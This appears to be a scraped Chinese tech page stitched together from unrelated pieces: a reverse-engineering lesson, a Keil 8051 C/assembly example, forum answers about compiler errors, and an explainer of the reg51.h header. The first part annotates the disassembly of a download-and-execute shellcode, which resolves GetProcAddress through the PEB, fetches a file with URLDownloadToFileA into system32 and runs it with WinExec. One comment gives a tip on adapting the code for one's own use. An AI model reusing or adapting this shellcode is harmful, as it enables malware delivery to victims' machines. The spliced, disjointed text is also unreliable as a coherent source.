文件有两种,一种是文本文件,一种是程序二进制文件,不管哪种文件都可以用十六进制编码来显示,称为hex文件。
1、文本Hex文件一般不需要转成C语言,更多的是程序二进制文件,用十六进制显示,可以转换成C语言,一般使用相应的反汇编程序来实现,这方面的工具很多,不同的平台略有不同。Windows平台一般常用的OllyDbg、Windbg、IDA,Linux平台使用最多的是GDB和Linux版的IDA。
OllyDbg,简称OD,一般是软件逆向工程爱好者,最先使用的一个工具,但是因为当下不在更新,所以一般用一般用于学习使用,下图中左上角的区域即为反汇编区域 ,用户可以根据汇编指令,分析程序算法,然后自己编写代码。
在Windows平台,特别是x64平台,最好用的反汇编工具除还得是Windbg。将程序载入Windbg后,可以输入u命令来查看程序的反汇编代码。
2、对于编程人员来说,逆向分析是一个基本的技能,但是往往不容易入门,这里举一个例子。以一段早些年ShellCode的十六进制代码为例,代码如下图所示,这段不起眼的代码,实际上实现了一个下载者的功能。
拿到这样的十六进制代码,一般来说,先将其生成二进制文件,然后再分析其指令,通过反汇编指令再写出源码。只需要将上面的十六进制代码,保存到C语言的字符串数组中,写入到一个Exe的文件空段中,再修改指令将其跳转到程序入口处即可,这个过程类似于软件安全领域的壳。
将十六进制代码写入一个exe文件后,就可以将exe文件载入动态调试器进行动态分析或者使用静态反汇编程序进行静态分析,两者的不同在于动态调试器是要运行程序的,而静态反汇编分析不需要运行程序,所以一般恶意程序,都采用静态分析。反汇编开头的一段十六进制代码注释如下:
4AD75021 5A pop edx ; 函数返回的地址保存到edx中
4AD75022 64:A1 30000000 mov eax, dword ptr fs:[30] ; 取peb
4AD75028 8B40 0C mov eax, dword ptr [eax+C] ; peb_link
4AD7502B 8B70 1C mov esi, dword ptr [eax+1C] ; 初始化列表到esi
4AD7502E AD lods dword ptr [esi] ; [esi]->eax + 8的位置即kernel32dll的地址
4AD7502F 8B40 08 mov eax, dword ptr [eax+8] ; eax=kernel32dll的地址
4AD75032 8BD8 mov ebx, eax ; ebx=kernel32dll的基址
4AD75034 8B73 3C mov esi, dword ptr [ebx+3C] ; esi = pe头偏移
4AD75037 8B741E 78 mov esi, dword ptr [esi+ebx+78] ; esi为kernel32dll导出表的偏移
4AD7503B 03F3 add esi, ebx ; esi = kernel32dll导出表的虚拟地址
4AD7503D 8B7E 20 mov edi, dword ptr [esi+20] ; edi=ent的偏移地址
4AD75040 03FB add edi, ebx ; edi = ent的虚拟地址
4AD75042 8B4E 14 mov ecx, dword ptr [esi+14] ; ecx = kernel32dll导出地址的个数
4AD75045 33ED xor ebp, ebp ; ebp=0
4AD75047 56 push esi ; 保存导出表虚拟地址
4AD75048 57 push edi ; 保存ent虚拟地址
4AD75049 51 push ecx ; 保存计数
4AD7504A 8B3F mov edi, dword ptr [edi]
4AD7504C 03FB add edi, ebx ; 定位ent中的函数名
4AD7504E 8BF2 mov esi, edx ; esi为 要查询的函数GetProcAddress即该call的下一个地址是数据
4AD75050 6A 0E push 0E ; 0xe0是GetProcAddress函数的字符个数
4AD75052 59 pop ecx ; 设置循环次数为 0xe
4AD75053 F3:A6 repe cmps byte ptr es:[edi], byte ptr [esi] ; ecx!=0&&zf=1 ecx=ecx-1 cmps判断 GetProcAddress
4AD75055 74 08 je short 4AD7505F ; 如果ENT中的函数名为GetProcAddress跳走
4AD75057 59 pop ecx ; 不相等则将导出地址数出栈
4AD75058 5F pop edi ; ent虚拟地址出栈
4AD75059 83C7 04 add edi, 4 ; edi地址递增4字节 因为ENT的元素大小为4字节
4AD7505C 45 inc ebp ; ebp用于保存ent中定位到GetProcAddress函数时的计数
4AD7505D ^ E2 E9 loopd short 4AD75048 ; 循环查询
4AD7505F 59 pop ecx
4AD75060 5F pop edi
4AD75061 5E pop esi
4AD75062 8BCD mov ecx, ebp ; 计数保存于ecx
4AD75064 8B46 24 mov eax, dword ptr [esi+24] ; esi+0x24 Ordinal序号表偏移地址
4AD75067 03C3 add eax, ebx ; ordinal序号表的虚拟地址
4AD75069 D1E1 shl ecx, 1 ; ecx逻辑增加2倍 因为ordinal序号是WOR类型下面是通过add 来求ordinal所以这里必须扩大2倍
4AD7506B 03C1 add eax, ecx
4AD7506D 33C9 xor ecx, ecx ; ecx=0
4AD7506F 66:8B08 mov cx, word ptr [eax] ; 保存取出的ordinal序号
4AD75072 8B46 1C mov eax, dword ptr [esi+1C] ; eax 为kenrnel32dll的EAT的偏移地址
4AD75075 > 03C3 add eax, ebx ; eax = kernel32dll的eat虚拟地址
4AD75077 C1E1 02 shl ecx, 2 ; 同上,扩大4倍因为eat中元素为DWORD值
4AD7507A 03C1 add eax, ecx
4AD7507C 8B00 mov eax, dword ptr [eax] ; eax即为GetProcAddress函数的地址 相对虚拟地址,EAT中保存的RVA
4AD7507E 03C3 add eax, ebx ; 与基址相加求得GetProcAddress函数的虚拟地址
4AD75080 8BFA mov edi, edx ; GetProcAddress字符到edi
4AD75082 8BF7 mov esi, edi ; esi保存GetProcAddress地址
4AD75084 83C6 0E add esi, 0E ; esi指向GetProcAddress字符串的末地址
4AD75087 8BD0 mov edx, eax ; edx为GetProcAddress的地址
4AD75089 6A 04 push 4
4AD7508B 59 pop ecx ; ecx=4
有经验的程序员, 通过分析即明白上面反汇编代码的主要目的就是获取GetProcAddress函数的地址。继续看反汇编代码:
4AD7508C E8 50000000 call 4AD750E1 ; 设置IAT 得到4个函数的地址
4AD75091 83C6 0D add esi, 0D ; 从这里开始实现ShellCode的真正功能
4AD75094 52 push edx
4AD75095 56 push esi ; urlmon
4AD75096 FF57 FC call dword ptr [edi-4] ; 调用LoadLibrarA来加载urlmondll
4AD75099 5A pop edx ; edx = GetProcAddress的地址
4AD7509A 8BD8 mov ebx, eax
4AD7509C 6A 01 push 1
4AD7509E 59 pop ecx
4AD7509F E8 3D000000 call 4AD750E1 ; 再次设置 IAT 得到URLDownLoadToFileA
4AD750A4 83C6 13 add esi, 13 ; esi指向URLDownLoadToFileA的末地址
4AD750A7 56 push esi
4AD750A8 46 inc esi
4AD750A9 803E 80 cmp byte ptr [esi], 80 ; 判断esi是否为0x80 这里在原码中有0x80如果要自己用,应该加上一个字节用于表示程序结束
4AD750AC ^ 75 FA jnz short 4AD750A8 ; 跨过这个跳转,需要在OD中CTRL+E修改数据为0x80
4AD750AE 8036 80 xor byte ptr [esi], 80
4AD750B1 5E pop esi
4AD750B2 83EC 20 sub esp, 20 ; 开辟 32 byte栈空间
4AD750B5 > 8BDC mov ebx, esp ; ebx为栈区的指针
4AD750B7 6A 20 push 20
4AD750B9 53 push ebx
4AD750BA FF57 EC call dword ptr [edi-14] ; 调用GetSystemDirectoryA得到系统目录
4AD750BD C70403 5C612E65 mov dword ptr [ebx+eax], 652E615C ; ebx+0x13 系统路径占 0x13个字节
4AD750C4 C74403 04 78650000 mov dword ptr [ebx+eax+4], 6578 ; 拼接下载后的文件路径%systemroot%\system32\aexe
4AD750CC 33C0 xor eax, eax
4AD750CE 50 push eax
4AD750CF 50 push eax
4AD750D0 53 push ebx
4AD750D1 56 push esi
4AD750D2 50 push eax
4AD750D3 > FF57 FC call dword ptr [edi-4] ; URLDownLoadToFile下载文件为aexe
4AD750D6 8BDC mov ebx, esp
4AD750D8 50 push eax
4AD750D9 53 push ebx
4AD750DA FF57 F0 call dword ptr [edi-10] ; WinExec执行代码
4AD750DD 50 push eax
4AD750DE FF57 F4 call dword ptr [edi-C] ; ExitThread退出线程
接下来的 *** 作便是通过已获得地址的GetProcAddress()来分别得到GetSystemDirectory()、URLDownLoadToFile()、WinExec()及ExitProcess()函数的地址,并依次执行。到这里实际上有经验的程序员,马上就能写出C语言代码来。 后面的数据区不在分析了,主要是介绍如何 *** 作。
使用C语言,虽然知道了Hex文件的大致流程,但是一般来说,对于汇编指令,更倾向于直接使用asm关键字来使用内联汇编。如下图所示:
通过这个实例 ,相信应该能理解一个大致的流程啦。
以个例子给你参考,有两个文件,一是Sa51, 另一个是 MC都加到KEILL的工程中编译。汇编中有两个函数,注意C的参数是如何传递给汇编的。SA51
$NOMOD51
NAME SENTBYTEUP
PR_SentByteUpSENTBYTEUP SEGMENT CODE
DT_SentByteUpSENTBYTEUP SEGMENT DATA OVERLAYABLE
PUBLIC _SentByteUp
RSEG DT_SentByteUpSENTBYTEUP
_SentByteUpBYTE:
px040: DS 1
px041: DS 1
RSEG PR_SentByteUpSENTBYTEUP
_SentByteUp:
USING 0
MOV A,R7
LOPU: RRC A
CLR SCKU
MOV DATU,C
SETB SCKU
DJNZ R5,LOPU
RET
PR_SentByteDnSENTBYTEDN SEGMENT CODE
DT_SentByteDnSENTBYTEDN SEGMENT DATA OVERLAYABLE
PUBLIC _SentByteDn
RSEG DT_SentByteDnSENTBYTEDN
_SentByteDnBYTE:
px042: DS 1
px043: DS 1
RSEG PR_SentByteDnSENTBYTEDN
_SentByteDn:
USING 0
MOV A,R7
LOPD: RRC A
CLR SCKD
MOV DATD,C
SETB SCKD
DJNZ R5,LOPD
RET
END
MC
#include <reg51h>
extern void SentByteUp(uchar c,uchar b); //申明使用外部函数
extern void SentByteDn(uchar c,uchar b); //申明使用外部函数
void main(void)
{
SentByteDn(a,8);// 调用汇编的函数
SentByteUp(a,8);// 调用汇编的函数
}
jinfahua@126com QQ505308008C语言程序的话,一般搞开发,都是用KEIL的。
我来回答吧
第一个,是表示,你调用的函数(init)没有函数体。
第二个,是表示,你使用的变量(flag_10ms)没有定义
应该知道是什么意思了吧。
还有就是,以后看到这样的问题,可以看它的错误码代码,比如上面的C206,C202就是错误码代码。在KEIL的帮助文档中直接输入这个错误码代码。就可以知道错误码类型了,以及解决的方案都会有的。
另处头文件的话,可以加reg51h,(下面附上reg51h头文件的详细说明)
如果还有什么不懂的话,就发邮给我吧,amwjie72@163com
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
reg51头文件剖析
我们平时写单片机应用程序的时候,所使用的头文件大多都是用的的reg51h或是用reg52h。会写C51的人都会用,但对其头文件内部的定义有所了解的人确并不多。
下面对其内部做详细解释,方便读者作进一步的了解,并能运用各类型号的单片机。因为增强型号的单片机的增强功能都是通过特殊功能寄存器控制。
打开 reg52h 头文件,会发现是由大量的 sfr ,sbit的声明组成,甚至于还有sfr16其实这样的声明都是与单片机内部功能寄存器(特殊功能寄存器)联系起来的,下面对其做出详细解释
sfr: 声明变量
SFR 声明一个变量,它的声明与其它的C变量声明基本相同,唯一的区别,SFR在声明的同时为其指定特殊功能寄存器作为存储地址,而不同于C变量声明的整型,字符型等等由编译器自动分配存储空间。
如reg52h头文件,第一条声明就是sfr P0 = 0x80;
此处声明一个变量P0,并指定其存储地址为特殊功能寄存器0x80;,在加入reg52h头文件后。编写应用程序时P0就可以直接使用而无需定义,对P0的 *** 作就是,对内部特殊功能寄存器(0x80对应用MCU的P0口)的 *** 作,可进行读写 *** 作。
如果将第一条声明改为sfr K0 = 0x80; 那么,如果要把单片机的P0口全部拉低,则不能写P0=0x00;而应保存后再在应用程序中写成K0=0x00;否则编译器会提示“P0为未定义标识符”
使用方法:
sfr [variable] = [address] //为变量分配一个特殊功能寄存器。
1 等号右边,只能是十进制,十六进制整型的数据常量,,不允许带 *** 作符的表达式
经典的8051内核支持的SFR地址从0x80H~0xFF 飞利浦80C51MX系列0x180H~0x1FF
2 SFR不能声明于任何函数内部,包括main函数。只能声明于函数外。
3 用SFR声明一个变量后,不能用取地址运算符&获取其地址, 编译无法通过,编译器会提示非法 *** 作。
4 有一点须特别注意,51内核0x80~0xff,为特殊功能寄存器地址区间,但并不是所有的地址都有定义,如果说你所用的MCU芯片上对于某个地址没有定义,那么用sfr在定义变量的时候,不要把变量的地址分配到未定义的特殊功能寄存器上,虽然编译时能通过,用KEIL仿真时貌似是没有问题,但下载到芯片里运行时,是会出问题的。比如说,向一个未定义的特殊功能寄存器执行读 *** 作,读出来的就是一个未知的数。(读者可自行测试,先把串口通信调通,然后做一个简单的人机交互。读出一个数后,再发给计算机,用串口调试助手或是串口监控查看。这用方法在仿真的时候很有用。)所以具体那些特殊功能寄存器能够用,就要查看你使用的芯片手册。
5 若遇到增强性的单片机,只要知道其扩展的特殊功能寄存器的地址,用SFR定
就可以很方便进行编程。
sbit: 声明变量
sbit 同样是声明一个变量,和SFR 使用方法类似,但是SBIT是用来声明一个位变量,因为,在51系列的应用中,非常有必要对SFR的单个位进行存取,而通过bit 数据类型,使其具备位寻址功能。
如,在reg52h中有如下声明
sfr IE = 0xA8;
sbit EA = IE^7;
sbit ET2 = IE^5; //8052 only
sbit ES = IE^4;
sbit ET1 = IE^3;
sbit EX1 = IE^2;
sbit ET0 = IE^1;
sbit EX0 = IE^0;
所以,对EA的 *** 作即是对IE最高位的 *** 作。
但如果想让 SP DPL DPH PCON TMOC TL0 TL1 TH0 TH1 SBUF这些特殊功能寄存器具备位寻址,采用上述如IE类似的定义,是不行的,虽然修改后,在编译的时候不会出现错误,但只要用到你定义的位变量名时就会出错。原因是,只有特殊功能寄存器的地址是8的倍数(十六进制以0或8结尾)才能进行位寻址。
打开reg52h头文件可以看到,所有用sbit声明了的特殊功能寄存器的地址均是以0或8结尾
如硬要达到上述要求,可用带参的宏定义来完成。此处不做详细说明(意义并不大)。
下面对sbit的使用做详细介绍:
随着8051的应用,非常有必要对特殊功能寄存器的单个bit位进行存取,C51编译器通过sbit 数据类型,提供了对特殊功能寄存器的位 *** 作。
以下是sbit的三种应用形式:
一, sbit name = sfr-name^bit-position;
sfr PSW =0xD0;
sfr IE =0xA8;
sbit OV= PSW^2;
sbit CY=PSW^7;
sbit EA= IE^7;
二, sbit name= sft-address^bit-position;
sbit OV =0xD0^2;
sbit CY =0xD0^7;
sbit EA =0xA8^7;
三, sbit name= sbit-address;
sbit OV =0xD2;
sbit CY =0xD7;
sbit EA =0xAF;
现对上述三种形式的声明做必要的说明
第一种形式sbit name = sfr-name^bit-position;如sbit OV= PSW^2; 当中的这个特殊功能寄存器必须在此之前已经用sfr 定义,否则编译会出错。
bit-position范围从0~7;
第二种形式 sbit name= sft-address^bit-position如sbit OV =0xD0^2; 与第一种形式不同之外在于,此处直接使用PSW的地址第一种形式须先定义PSW
第三种形式 sbit name= sbit-address 如sbit OV =0xD2 是直接用的OV的地址
OV的地址计算方式,是OV所在的寄存器地址加上OV的bit-position
注意:
不是所有的SFR都可位寻址。只有特殊功能寄存器的地址是8的倍数(十六进制以0或8结尾)才能进行位寻址,并且sbit声明的变量名,虽可以是任意取,但是最好不要以下划线开头,因为以下划线开头的都保留给了C51的头文件做保留字。
sfr16: 声明变量
许多8051的派生型单片机,用两个连续地址的特殊功能寄存器,来存储一个16bit的值。例如,8052就用了0xCC和0xCD来保存定时/计数寄存器2的高字节和低字节。编译器提供sfr16这种数据类型,来保存两个字节的数据。虚拟出一个16bit的寄存器。
如下:
sfr16 T2 = 0xCC
存储方面为小端存储方式,低字节在前,高字节在后。定义时,只写低字节地址,如上,则定义T2为一个16位的特殊功能寄存器。 T2L= 0CCh, T2H= 0CDh
使用方法:
sfr [variable] = [low_address]
1 等号右边,只写两个特殊功能寄存器的低地址,且只能是十进制,十六进制的整型数据常量,不允许带 *** 作符的表达式
2 SFR不能声明于任何函数内部,包括main函数。只能声明于函数外。
3 用SFR声明一个变量后,不能用取地址运算符&获取其地址, 编译无法通过,编译器会提示非法 *** 作。
4 当你向一个sfr16写入数据的时候,KEIL CX51 编译器生成的代码,是先写高字节,后写低字节,(可通过返汇编窗口查看)在有些情况下,这并非我们所想要的 *** 作顺序。使用时,须注意。
5 当你所要写入sfr16的数据,当是高字节先写还是低字节先写非常重要的时候,就只能用sfr 这个关键字来定义,并且任意时刻只保存一个字节,这样 *** 作才能保证写入正确。
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)